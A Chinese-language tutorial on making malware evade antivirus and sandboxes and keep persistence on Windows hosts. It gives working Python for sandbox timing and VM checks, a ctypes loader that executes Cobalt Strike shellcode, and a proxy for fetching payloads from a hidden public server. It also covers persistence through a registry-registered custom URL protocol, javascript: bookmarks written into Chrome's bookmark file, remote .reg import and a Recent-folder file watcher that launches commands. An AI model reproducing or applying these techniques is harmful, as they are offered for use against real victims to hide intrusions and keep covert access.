首先我们都知道,现在沙箱分析主要分为以下几步
- 行为检测
- 静态分析
- 动态分析 一般来说,动态分析会有时间加速,所以sleep(60)这样的免杀方法是不现实的,我们首先就是要检测他是否有时间加速。
1.动态(时间加速、沙箱/虚拟机检测)
先cs生成个payload,然后开始写代码
import time import ctypes buf = b"\x90\x90\x90\x90xxxx" def check_time(): start_time = time.time() time.sleep(5) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time < 4.9: return False return True def execute_shellcode(shellcode): shellcode_buffer = ctypes.create_string_buffer(shellcode) ctypes_buffer = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) ctypes_buffer() if __name__ == "__main__": if check_time(): execute_shellcode(buf) else: print("检测到沙箱环境,不执行shellcode")
- check_time(): 这个函数用于检测程序运行的时间。如果时间差小于预期值(4.9秒),则可能处于沙箱环境。
- execute_shellcode(shellcode): 这个函数用于执行传入的shellcode。使用
ctypes
库来分配内存并将shellcode注入到内存中执行。 也就是说原理就是检测是否有时间差 不过,有些沙箱没有时间加速,我们还是需要进行沙箱/虚拟机检测
def is_vm_or_sandbox(): return any(os.path.exists(path) for path in [ "C:\\analysis\\sandbox.exe", "C:\\sandbox\\sandbox.exe", ]) or any(os.system(f"tasklist /FI \"IMAGENAME eq {proc}\" 2>nul | find /I \"{proc}\" >nul") == 0 for proc in ["vmtoolsd.exe", "vboxservice.exe"]) or os.cpu_count() < 2
这个sandbox.exe就是查看它进程,cpu_count()是检测cpu数量,太少就可以sys.exit(0)
了 对于用户名,我们可以通过%USERNAME%
来获取 这样,我们得到了用户名,就可以判断用户名是否为沙箱的用户名,若是则退出
2.静态免杀
对于静态免杀,我们可以把shellcode、免杀文件等分开放,思维导图如下 这样,我们本地只留一个loader,其他都在公网上,但是如果被抓出来地址什么的,我们的远控就会被扒的底裤也不剩 我们这时候就可以设置一个代理,把我们的公网IP映射到127.0.0.1:
import requests proxy = { "http": "http://x.x.x.x:3333" } url = "http://127.0.0.1:3333" response = requests.get(url, proxies=proxy) print(response.text)
这段代码留在loader 那么这样之后,我们的免杀就做到了这么几个功能:
- 时间加速检测
- 沙箱检测
- 动态注入payload
- 代理
3.权限维持
注册表配合书签
通常权限维持都是定时(比如10分钟)连接C2服务器,不过依然是一抓到IP就炸了 不过我们都知道,edge、chrome这样的主流浏览器,它的书签都可以解析js
这里我们就可以使用注册表实现rce了
reg add "HKEY_CLASSES_ROOT\knight" /ve /d "URL:MyCalc Protocol" /f reg add "HKEY_CLASSES_ROOT\knight" /v "URL Protocol" /d "" /f reg add "HKEY_CLASSES_ROOT\knight\rce" /f reg add "HKEY_CLASSES_ROOT\knight\rce\rrr" /f reg add "HKEY_CLASSES_ROOT\knight\rce\rrr\command" /ve /d "\"C:\\Windows\\System32\\calc.exe\"" /f
然后结合上面的书签,js打开knight://open
javascript:window.open('https://www.hdsec.cn/', '_blank'); setTimeout(function() { window.location.href = 'knight://open'; }, 1);
这样,我们就从一个书签开始,实现RCE 书签的路径自行百度,然后下面是增加书签的代码
import json import os chrome_bookmarks_path = os.path.expanduser("~") + "/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" new_bookmark = { "name": "Open Baidu and RCE", "type": "url", "url": "javascript:window.open('https://www.hdsec.cn', '_blank'); setTimeout(function() { window.location.href = 'knight://open'; }, 1);" } with open(chrome_bookmarks_path, "r", encoding="utf-8") as file: bookmarks_data = json.load(file) bookmarks_bar = None for item in bookmarks_data["roots"]: if item == "bookmark_bar": bookmarks_bar = bookmarks_data["roots"][item] break if bookmarks_bar: if "children" not in bookmarks_bar: bookmarks_bar["children"] = [] bookmarks_bar["children"].append(new_bookmark) with open(chrome_bookmarks_path, "w", encoding="utf-8") as file: json.dump(bookmarks_data, file, indent=4)
这样当他打开hdsec.cn的时候就会弹计算机 下面是添加注册表的代码
import winreg root_key = winreg.HKEY_CLASSES_ROOT base_path = r"knight" url_protocol_path = base_path rce_path = base_path + r"\rce" rrr_path = rce_path + r"\rrr" command_path = rrr_path + r"\command" key = winreg.CreateKey(root_key, base_path) winreg.SetValue(key, "", winreg.REG_SZ, "URL:MyCalc Protocol") winreg.CloseKey(key) key = winreg.OpenKey(root_key, url_protocol_path, 0, winreg.KEY_WRITE) winreg.SetValueEx(key, "URL Protocol", 0, winreg.REG_SZ, "") winreg.CloseKey(key) key = winreg.CreateKey(root_key, rce_path) winreg.CloseKey(key) key = winreg.CreateKey(root_key, rrr_path) winreg.CloseKey(key) key = winreg.CreateKey(root_key, command_path) winreg.SetValue(key, "", winreg.REG_SZ, r"C:\Windows\System32\calc.exe") winreg.CloseKey(key)
或者我们远程调用并导入reg文件
Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\knight] @="URL:MyCalc Protocol" "URL Protocol"="" [HKEY_CLASSES_ROOT\knight\rce] [HKEY_CLASSES_ROOT\knight\rce\rrr] [HKEY_CLASSES_ROOT\knight\rce\rrr\command] @="\"C:\\Windows\\System32\\calc.exe\""
之后像上面那样把公网代理到127.0.0.1或其他IP,从127.0.0.1下载reg
最近打开的项目
众所周知,我们每打开一个项目,就会出现x.lnk,这个是windows默认启用的(笔者因为美观原因关掉了) 这个x.lnk,路径是
C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Recent\
获取用户名的方法上面也有,就是%USERNAME% 那么我们就可以在免杀中写,持续监听这个目录,创建了文件就执行某命令,也就是说对文件有增删查改就执行某命令
import os, time, subprocess from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler RECENT_DIR = os.path.join("C:/Users", os.environ["USERNAME"], "AppData", "Roaming", "Microsoft", "Windows", "Recent") observer = Observer() observer.schedule( type("RecentHandler", (FileSystemEventHandler,), {"on_created": lambda self, event: subprocess.Popen("calc")})(), path=RECENT_DIR, recursive=False ) observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: observer.stop() observer.join()
这个路径不仅限于recent,还可以换成别的,你要是愿意换成C D盘什么的也可以